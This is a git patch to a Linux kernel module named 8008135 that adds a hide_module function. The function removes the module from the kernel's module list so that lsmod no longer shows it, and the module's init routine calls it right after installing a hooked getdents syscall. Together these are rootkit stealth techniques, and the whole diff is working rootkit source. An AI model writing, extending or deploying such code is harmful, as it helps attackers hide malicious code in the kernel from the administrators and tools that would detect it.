From cbe0fabcea796623944faa83bd8f20e88f4f5503 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Sun, 1 Dec 2019 23:40:43 +0100 Subject: [PATCH] Modul verstecken implementiert --- src/8008135.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/src/8008135.c b/src/8008135.c index cf253f5..1cd7551 100644 --- a/src/8008135.c +++ b/src/8008135.c @@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd, return ret; } + +/*** FUNCTION **************************************************************** +* NAME: hide_module +* DESCRIPTION: hides the module from lsmod +* PARAMETERS: - +* RETURNS: +*******************************************************************************/ +void hide_module(void){ + list_del(&THIS_MODULE->list); +} + + /*** FUNCTION **************************************************************** * NAME: 8008135_init * DESCRIPTION: initializing Kernel Module @@ -108,6 +120,9 @@ static int __init init_8008135(void) { printk(KERN_INFO "New syscall in place\n"); + hide_module(); + printk(KERN_INFO "Module hidden"); + return 0; }